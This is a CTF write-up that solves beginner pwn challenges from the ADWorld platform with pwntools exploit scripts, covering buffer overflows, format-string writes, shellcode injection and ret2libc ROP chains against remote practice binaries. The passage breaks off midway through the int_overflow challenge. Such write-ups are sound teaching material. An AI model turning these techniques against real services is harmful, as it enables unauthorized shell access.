ADWorld PWN Exercise Area Write-ups
TyeYeah Lv4

You can find all the following challenges on World of Attack & Defense (ADWorld), which is a CN CTF platform and not so international (All Chinese challenge descriptions).

Just follow my lead to deal with these problems, I get you en descriptions.

Basic Part

Exercise area includes some basic challenges.

get shell

Attachment: get_shell
Description: You can get the shell by running it, really.

First check this file:

1
2
3
4
5
6
7
8
9
$ file get_shell
get_shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6334e8ad1474b290bdb69d75a1b44ed029669888, not stripped
$ checksec get_shell
[*] '/root/get_shell'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Use IDA Pro (with Hex-Rays) to see pseudocode:

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("OK,this time we will get a shell.");
system("/bin/sh");
return 0;
}

It is a warm up to let you know how to solve tasks. There’re 3 ways:

  1. Run it locally, know how it works and test exploit script.
    1
    2
    3
    4
    5
    6
    7
    8
    $ ./get_shell
    OK,this time we will get a shell.
    # ls
    CGfsb cgpwn2 get_shell guess_num hello_pwn int_overflow level0 level2 level3.gz string when_did_u_born
    # id
    uid=0(root) gid=0(root) groups=0(root)
    # uname
    Linux
  2. Use netcat to connect and do normal interaction.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    nc 220.249.52.133 50247
    ls -al
    total 56
    drwxr-x--- 1 0 1000 4096 Oct 4 2018 .
    drwxr-x--- 1 0 1000 4096 Oct 4 2018 ..
    -rwxr-x--- 1 0 1000 220 Aug 31 2015 .bash_logout
    -rwxr-x--- 1 0 1000 3771 Aug 31 2015 .bashrc
    -rwxr-x--- 1 0 1000 0 Sep 28 2018 .gitkeep
    -rwxr-x--- 1 0 1000 655 May 16 2017 .profile
    drwxr-x--- 1 0 1000 4096 Oct 4 2018 bin
    drwxr-x--- 1 0 1000 4096 Oct 4 2018 dev
    -rwxr----- 1 0 1000 45 Jul 25 03:15 flag
    -rwxr-x--- 1 0 1000 8656 Sep 28 2018 get_shell
    drwxr-x--- 1 0 1000 4096 Oct 4 2018 lib
    drwxr-x--- 1 0 1000 4096 Oct 4 2018 lib32
    drwxr-x--- 1 0 1000 4096 Oct 4 2018 lib64
  3. Use pwntools to do anvanced interaction and write script.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    $ cat get_shell.py
    from pwn import *
    #sh = process('./get_shell')
    sh = remote('220.249.52.133',55822)
    sh.interactive()
    $ python get_shell.py
    [+] Opening connection to 220.249.52.133 on port 55822: Done
    [*] Switching to interactive mode
    $ ls
    bin
    dev
    flag
    get_shell
    lib
    lib32
    lib64
    $ cat flag

    hello pwn

    Attachment: hello_pwn
    Description: pwn! Segment fault! Caiji fell into deep thought.

Check:

1
2
3
4
5
6
7
8
9
$ file hello_pwn
hello_pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=05ef7ecf06e02e7f199b11c4647880e8379e6ce0, stripped
$ checksec hello_pwn
[*] '/root/hello_pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Pseudocode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
--------------------------------- main
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
alarm(0x3Cu);
setbuf(stdout, 0LL);
puts("~~ welcome to ctf ~~ ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 1853186401 )
sub_400686(0LL, &unk_601068);
return 0LL;
}
--------------------------------- and sub_400686
__int64 sub_400686()
{
system("cat flag.txt");
return 0LL;
}

Our goal is sub_400686(). We can write to unk_601068, and dword_60106C is used in if statement. The number 1853186401 is equal to 0x6E756161, or nuaa.
We need to let if be true.

1
2
3
4
5
.bss:0000000000601068 unk_601068      db    ? ;               ; DATA XREF: main+3B↑o
.bss:0000000000601069 db ? ;
.bss:000000000060106A db ? ;
.bss:000000000060106B db ? ;
.bss:000000000060106C dword_60106C dd ? ; DATA XREF: main+4A↑r

The unk_601068 can only save 4 chars, but it reads 0x10uLL bytes (more than 4 chars).
So we get our first buffer overflow. Since the 5th char, our input will overwrite unk_601068, so we can control the value by enter aaaaqwer to set it as rewq (inverted because of little-endian).

So we send aaaaaaun to set unk_601068 as nuaa.

1
2
3
4
# nc
echo aaaaaaun | nc x.x.x.x xxx
# pwntools
sh.sendline('aaaaaaun')

When did you born

Attachment: when_did_u_born
Description: As long as you know your age, you can get the flag, but Caiji finds that the input is incorrect anyway, what should I do?

Check:

1
2
3
4
5
6
7
8
9
$ file when_did_u_born
when_did_u_born: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=718185b5ec9c26eb9aeccfa0ab53678e34fee00a, stripped
$ checksec when_did_u_born
[*] '/root/when_did_u_born'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

Pseudocode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 result; // rax
char v4; // [rsp+0h] [rbp-20h]
unsigned int v5; // [rsp+8h] [rbp-18h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("What's Your Birth?");
__isoc99_scanf("%d", &v5);
while ( getchar() != 10 )
;
if ( v5 == 1926 )
{
puts("You Cannot Born In 1926!");
result = 0LL;
}
else
{
puts("What's Your Name?");
gets(&v4);
printf("You Are Born In %d\n", v5);
if ( v5 == 1926 )
{
puts("You Shall Have Flag.");
system("cat flag");
}
else
{
puts("You Are Naive.");
puts("You Speed One Second Here.");
}
result = 0LL;
}
return result;
}

Here we need to exploit by using stack overflow, because v4 and v5 are both on the stack, and we have to overwrite v5 as 1926 by writing to v4 in the second input.

char v4; // [rsp+0h] [rbp-20h]
unsigned int v5; // [rsp+8h] [rbp-18h]

The offset seems to be 20h-18h == 8 / 8h-0h == 8 , so the exploit should be:

1
2
3
4
5
6
7
8
9
from pwn import *
sh = process('./when_did_u_born')
sh = remote("220.249.52.133",56474)
sh.recv() # What's Your Birth?
sh.sendline('1')
sh.recv() # What's Your Name?
payload = 'a' * 8 + p64(1926)
sh.sendline(payload)
sh.interactive()

guess num

Attachment: guess_num
Description: Caiji is playing a game of guessing numbers, but he can’t win anyway, can you help him?

Check:

1
2
3
4
5
6
7
8
9
$ file guess_num
guess_num: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c5689a0b4458c068fb51e3a2c167b112c3ba7323, stripped
$ checksec guess_num
[*] '/root/guess_num'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Pseudocode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
FILE *v3; // rdi
const char *v4; // rdi
int v6; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v8; // [rsp+Ch] [rbp-34h]
char v9; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v11; // [rsp+38h] [rbp-8h]

v11 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = stderr;
setbuf(stderr, 0LL);
v6 = 0;
v8 = 0;
*(_QWORD *)seed = sub_BB0(v3, 0LL);
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(&v9);
v4 = (const char *)seed[0];
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v8 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v6);
puts("---------------------------------");
if ( v6 != v8 )
{
puts("GG!");
exit(1);
}
v4 = "Success!";
puts("Success!");
}
sub_C3E(v4);
return 0LL;
}

Still needs to overwrite (input v9 to overwrite seed).

char v9; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]

The offset seems to be 30h-10h == 32.

The rand is another challenge. With the same seed for srand(), you will get same results of rand(). So we set seed to be 0 and test the rands:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cat rand.c
#include <stdio.h>
#include <stdlib.h>
int main(){
srand(0);
for(int i=0;i<=9;i++){
printf("%d\n", rand() % 6 + 1);
}
return 0;
}
$ gcc rand.c
$ ./a.out
2
5
4
2
6
2
5
1
4
2

Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
sh = remote("220.249.52.133",44772)
sh = process("./guess_num")
print sh.recv() # Your name:
sh.sendline("a"*0x20+p64(0))
print sh.recv() # Turn:1
sh.sendline("2")
print sh.recv() # Turn:2
sh.sendline("5")
print sh.recv() # Turn:3
sh.sendline("4")
print sh.recv() # Turn:4
sh.sendline("2")
print sh.recv() # Turn:5
sh.sendline("6")
print sh.recv() # Turn:6
sh.sendline("2")
print sh.recv() # Turn:7
sh.sendline("5")
print sh.recv() # Turn:8
sh.sendline("1")
print sh.recv() # Turn:9
sh.sendline("4")
print sh.recv() # Turn:10
sh.sendline("2")
print sh.recv() # flag

CGfsb

Attachment: CGfsb
Description: Caiji is worried about printf, he doesn’t know what printf does besides output.

Check:

1
2
3
4
5
6
7
8
9
$ file CGfsb
CGfsb: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=113a10b953bc39c6e182c4ce6e05582ba2f8017a, not stripped
$ checksec CGfsb
[*] '/root/CGfsb'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

Pseudocode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
__int16 v6; // [esp+26h] [ebp-76h]
char s; // [esp+28h] [ebp-74h]
unsigned int v8; // [esp+8Ch] [ebp-10h]

v8 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf = 0;
v5 = 0;
v6 = 0;
memset(&s, 0, 0x64u);
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return 0;
}
// pwnme
.bss:0804A068 pwnme dd ? ; DATA XREF: main+105↑r
.bss:0804A068 _bss ends

The printf(&s) is a typical format string vulnerability, which leads to leak and write things anywhere. Our aim is to set pwnme as 8.
First determine the offset using:

1
payload = p32(0x0804A068)+'aaaa'+'1.%p,2.%p,3.%p,4.%p,5.%p,6.%p,7.%p,8.%p,9.%p,10.%p,11.%p,12.%p,13.%p,14.%p,15.%p'

Result:

1
h\xa0\x04aaaa1.0xff97b88e,2.0xf7ed6580,3.0x1,4.(nil),5.0x1,6.0xf7f14940,7.0x616e0001,8.0xa656d,9.(nil),10.0x804a068,11.0x61616161,12.0x70252e31,13.0x252e322c,14.0x2e332c70,15.0x342c7025

11th parameter is aaaa, so 0x0804A068 is 10th.

Exploit:

1
2
3
4
5
6
7
8
9
10
from pwn import *
io = process('./CGfsb')
io = remote("220.249.52.133","40737")
payload = fmtstr_payload(10,{0x0804A068:0x08})
#payload = p32(0x0804A068)+'aaaa'+'%10$n'
io.recv()
io.sendline("name")
io.recv()
io.sendline(payload)
io.interactive()

string

Attachment: string
Description: Caiji meets Dragon, there is a wizard who can help him escape the danger, but it seems that some requirements are needed.

Check:

1
2
3
4
5
6
7
8
9
$ file string
string: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4f9fd3e83d275c6555ec7059823616ffc2f1af1b, stripped
$ checksec string
[*] '/root/string'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

Pseudocode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
--------------------------------- main
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_DWORD *v3; // rax
__int64 v4; // ST18_8

setbuf(stdout, 0LL);
alarm(0x3Cu);
sub_400996(60LL, 0LL);
v3 = malloc(8uLL);
v4 = (__int64)v3;
*v3 = 68;
v3[1] = 85;
puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
puts("we will tell you two secret ...");
printf("secret[0] is %x\n", v4, a2);
printf("secret[1] is %x\n", v4 + 4);
puts("do not tell anyone ");
sub_400D72(v4);
puts("The End.....Really?");
return 0LL;
}
--------------------------------- sub_400D72
unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("What should your character's name be:");
_isoc99_scanf("%s", &s);
if ( strlen(&s) <= 0xC )
{
puts("Creating a new player.");
sub_400A7D();
sub_400BB9();
sub_400CA6((_DWORD *)a1);
}
else
{
puts("Hei! What's up!");
}
return __readfsqword(0x28u) ^ v3;
}
--------------------------------- sub_400A7D
choose go east (to the following) or go up (into the game circle)
--------------------------------- sub_400BB9
unsigned __int64 sub_400BB9()
{
int v1; // [rsp+4h] [rbp-7Ch]
__int64 v2; // [rsp+8h] [rbp-78h]
char format; // [rsp+10h] [rbp-70h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]

v4 = __readfsqword(0x28u);
v2 = 0LL;
puts("You travel a short distance east.That's odd, anyone disappear suddenly");
puts(", what happend?! You just travel , and find another hole");
puts("You recall, a big black hole will suckk you into it! Know what should you do?");
puts("go into there(1), or leave(0)?:");
_isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
puts("A voice heard in your mind");
puts("'Give me an address'");
_isoc99_scanf("%ld", &v2);
puts("And, you wish is:");
_isoc99_scanf("%s", &format);
puts("Your wish is");
printf(&format, &format);
puts("I hear it, I hear it....");
}
return __readfsqword(0x28u) ^ v4;
}
--------------------------------- sub_400CA6
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
void *v1; // rsi
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
puts("Dragon say: HaHa! you were supposed to have a normal");
puts("RPG game, but I have changed it! you have no weapon and ");
puts("skill! you could not defeat me !");
puts("That's sound terrible! you meet final boss!but you level is ONE!");
if ( *a1 == a1[1] )
{
puts("Wizard: I will help you! USE YOU SPELL");
v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
read(0, v1, 0x100uLL);
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
}
return __readfsqword(0x28u) ^ v3;
}

We need ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1); in sub_400CA6() to execute shellcodes, so *a1 == a1[1] needs to be true.
The a1 in sub_400CA6() comes from a1 in sub_400D72(), which is from the argument v4 passed by main(). As v4 is an alias for v3, we need to make v3[0] == v3[1].

Vulnerability appears at printf(&format, &format); in sub_400BB9() which enables us to read and write. So we use it to overwrite v3[0] (or v3[1]).

Because in main it use printf("secret[0] is %x\n", v4, a2); and printf("secret[1] is %x\n", v4 + 4); to leak v4 address, we can directly use it to exploit (don’t forget to check the offset):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
sh = process('./string')
sh = remote('220.249.52.133',42236)# 220.249.52.133:42236
sh.recvuntil("secret[0] is ")
secret_addr = int(sh.recvline()[:-1], 16)
print hex(secret_addr)
print sh.recv() # What should your character's name be:
sh.sendline('name')
print sh.recv() # So, where you will go?east or up?:
sh.sendline('east')
print sh.recv() # go into there(1), or leave(0)?:
sh.sendline('1')
print sh.recv() # 'Give me an address'
sh.sendline(str(secret_addr))
print sh.recv() # And, you wish is:
payload = 'a' * 85 + '%7$n'
sh.sendline(payload)
sh.recv()
sh.sendline(asm(shellcraft.sh())) # create shellcode in pwntools
sh.interactive()

ROP Part

This part is for ret2xxx, aka ROP (return oriented programming) challenges, and they are really basic challenges.

level0

Attachment: level0
Description: Caiji understands what overflow is, he believes he can get a shell.

Check:

1
2
3
4
5
6
7
8
9
$ file level0
level0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped
$ checksec level0
[*] '/root/level0'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Pseudocode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
--------------------------------- main 
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}
--------------------------------- vulnerable_function
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

return read(0, &buf, 0x200uLL);
}
--------------------------------- callsystem -- not in the main logic
int callsystem()
{
return system("/bin/sh");
}
--------------------------------- assembly & address of callsystem
.text:0000000000400596 public callsystem
.text:0000000000400596 callsystem proc near
.text:0000000000400596 ; __unwind {
.text:0000000000400596 000 push rbp
.text:0000000000400597 008 mov rbp, rsp
.text:000000000040059A 008 mov edi, offset command ; "/bin/sh"
.text:000000000040059F 008 call _system
.text:00000000004005A4 008 pop rbp
.text:00000000004005A5 000 retn
.text:00000000004005A5 ; } // starts at 400596
.text:00000000004005A5 callsystem endp

The vulnerability exists in vulnerable_function, because buf can only store 0x80 on the stack but it reads 0x200. Things on the stack:

1
2
3
4
5
6
7
8
9
10
11
12
           +-----------------+<---high address
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| buf |
| |
| |
| |
ebp-0x80-->+-----------------+<---low address

We write data from low to high address. If we write too much, we will overwrite saved ebp, even the retaddr (when a function returns, it will return to the retaddr in its stack frame).
Therefore controlling retaddr means controlling where program goes later. It is the first step of ROP (return oriented programming). ROP means using instruction gadgets with a ret at the end, to control the program flow.

Our goal is to call callsystem to get shell, so we can overwrite retaddr as the address(0x400596) of callsystem. we have to input 0x80 chars as padding to cover buf, and 4 chars/bytes (32-bit) to cover ebp, then rest of the chars will write to retaddr. It should be like:

1
2
3
4
5
6
7
8
9
10
11
12
           +-----------------+<---high address
| 0x400596 |
+-----------------+
| 0x000001 |
ebp--->+-----------------+
| |
| |
| buf |
| |
| |
| |
ebp-0x80-->+-----------------+<---low address

Finally we write exploit:

1
2
3
4
5
6
7
8
from pwn import *
sh = process("./level0")
sh = remote("220.249.52.133",49170)
callsystem_addr = 0x400596
payload = 'a' * 128 + p64(1) + p64(callsystem_addr)
sh.recv()
sh.sendline(payload)
sh.interactive()

level2

Attachment: level2
Description: Caiji asks the god how to get the flag, and the god tells him “use ‘return-oriented programming’ (ROP).”

Check:

1
2
3
4
5
6
7
8
9
$ file level2
level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a70b92e1fe190db1189ccad3b6ecd7bb7b4dd9c0, not stripped
$ checksec level2
[*] '/root/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

Pseudocode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
--------------------------------- main
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}
--------------------------------- vulnerable_function
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

system("echo Input:");
return read(0, &buf, 0x100u);
}

This time we dont have callsystem, so we have to build system('/bin/sh') by ourselves. Here are things we may need:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# overflow variable (offset)
char buf; // [esp+0h] [ebp-88h] # offset 0x88

# string `/bin/sh`
.data:0804A024 hint db '/bin/sh',0

# system plt
.plt:08048320 000 jmp ds:off_804A010
.plt:08048320 _system endp

# instruction `call system`
0804845C 09C call _system
and
0804849E 01C call _system

Our payload could be:

  1. payload = ‘a’ * 0x88 + ‘aaaa’ + p32(0x0804845C) + p32(0x0804A024)
    p32(call_system_addr)+p32(bin_sh_str_addr)
  2. payload = ‘a’ * 0x88 + ‘aaaa’ + p32(0x08048320) + p32(0) + p32(0x0804A024)
    p32(system_plt_addr)+p32(0)+p32(bin_sh_str_addr)

Exploit:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
sh = process("./level2")
sh = remote("220.249.52.133",37221)
bin_sh_addr = 0x0804A024
# system_addr = 0x0804845C # call system
# payload = 'a' * 136 + 'aaaa' + p32(system_addr) + p32(bin_sh_addr)
system_addr = 0x08048320 # plt item
payload = 'a' * 136 + 'aaaa' + p32(system_addr) + p32(0) + p32(bin_sh_addr)
print sh.recv()
sh.sendline(payload)
sh.interactive()

cgpwn2

Attachment: cgpwn2
Description: Caiji thinks he needs a string

Check:

1
2
3
4
5
6
7
8
9
$ file cgpwn2
cgpwn2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=86982eca8585ab1b30762b8479a6071dbf584559, not stripped
$ checksec cgpwn2
[*] '/root/cgpwn2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

Pseudocode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
--------------------------------- main
call hello()
--------------------------------- hello
char *hello()
{
char *v0; // eax
signed int v1; // ebx
unsigned int v2; // ecx
char *v3; // eax
char s; // [esp+12h] [ebp-26h]
int v6; // [esp+14h] [ebp-24h]

v0 = &s;
v1 = 30;
if ( (unsigned int)&s & 2 )
{
*(_WORD *)&s = 0;
v0 = (char *)&v6;
v1 = 28;
}
v2 = 0;
do
{
*(_DWORD *)&v0[v2] = 0;
v2 += 4;
}
while ( v2 < (v1 & 0xFFFFFFFC) );
v3 = &v0[v2];
if ( v1 & 2 )
{
*(_WORD *)v3 = 0;
v3 += 2;
}
if ( v1 & 1 )
*v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&s);
}

We can input to name and s, since gets is vulnerable, we might perform stack overflow on gets(&s).

Here are things we may need:

1
2
3
4
5
6
7
8
9
# overflow variable (offset)
char s; // [esp+12h] [ebp-26h] # offset 0x26

# global variable: name
.bss:0804A080 name db 34h dup(?) ; DATA XREF: hello+77↑o

# system plt
.plt:08048420 000 jmp ds:off_804A01C
.plt:08048420 _system endp

It does not have callsystem like level 0 does, but is similar to level 2, while it still lacks a /bin/sh string for system to use.

Since we input values to name and we know its address, we can make it the string /bin/sh, and this is how the exploit works:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
sh = process("./cgpwn2")
sh = remote("220.249.52.133", 32943)
# ELF module debuts
elf = ELF("./cgpwn2")
system_addr = elf.symbols['system'] # is plt address: 0x08048420
name_addr = 0x0804A080
print sh.recv()
sh.sendline('/bin/sh')
payload = 'a' * 0x26 + 'aaaa' + p32(system_addr) + 'aaaa' + p32 (name_addr)
print sh.recv()
sh.sendline(payload)
sh.interactive()

level3

Attachment: level3.gz
Description: libc!libc! This time there is no system, can you help Caiji solve this problem?

You have to extract it first.

1
2
3
$ tar -xzvf level3.gz
./level3
./libc_32.so.6

Then check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ file level3 libc_32.so.6
level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped
libc_32.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=9a6b57c7a4f93d7e54e61bccb7df996c8bc58141, for GNU/Linux 2.6.32, stripped
$ checksec level3
[*] '/root/level3/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
$ ./libc_32.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

Pseudocode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
--------------------------------- main
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
--------------------------------- vulnerable_function
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}

Look what else we may need:

1
2
3
# write plt
.plt:08048340 jmp ds:off_804A018
.plt:08048340 _write endp

As description says, we have no system, but we get target libc – file libc_32.so.6.
Though ASLR randomizes base addresses, the functions’ offset relative to the base address of the libc is constant. So we use write to get current write function address, and calculate system current address depending on this.

Real system address is in GOT (global offset table), but when calling system we call PLT (procedure linkage table). About PLT and GOT u can check This Link for details.

  • The normal function call goes following the order of black, red and blue.
    PLT_GOT
  • To be more specific, the first call runs dl_runtime_resolve first to prepare:
    ![First Call](/imghost/apeaw/1st call.jpg)
  • And subsequent calls are easier:
    ![Second Call](/imghost/apeaw/2nd call.jpg)

Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *
sh = process('./level3')
sh = remote('220.249.52.133',33218)

elf = ELF('./level3')
libc = ELF('./libc_32.so.6')

payload1 = 'a' * 0x88 + p32(0) + p32(elf.plt['write']) + p32(elf.symbols['main']) + p32(2) + p32(elf.got['write']) + p32(0x4)
# ssize_t write(int fd,const void*buf,size_t count);
print sh.recv()
sh.sendline(payload1)
write_got = u32(sh.recv()[:4])
libc_addr = write_got - libc.symbols['write']

print hex(libc_addr)
system_addr = libc_addr + libc.symbols['system']
bin_sh_addr = libc_addr + libc.search('/bin/sh').next() # get `/bin/sh` addr
''' using LibcSearcher
libc = LibcSearcher('write', write_got)
libc_base = write_got - libc.dump('write')
system_addr = libc_base + libc.dump("system")
#libc_binsh = libc.search("/bin/sh").next()
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
'''
payload2 = 'a' * 0x88 + p32(0) + p32(system_addr) + p32(elf.symbols['main']) + p32(bin_sh_addr)
sh.sendline(payload2)
sh.interactive()

int overflow

Attachment: int_overflow
Description: Caiji thinks that there is no way to overflow this question, really?

Check:

1
2
3
4
5
6
7
8
9
$ file int
int: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=aaef797b1ad6698f0c629966a879b42e92de3787, not stripped
$ checksec int
[*] '/root/int'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

Pseudocode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
--------------------------------- main 
need to input `1` to go into login()
--------------------------------- login
int login()
{
char buf; // [esp+0h] [ebp-228h]
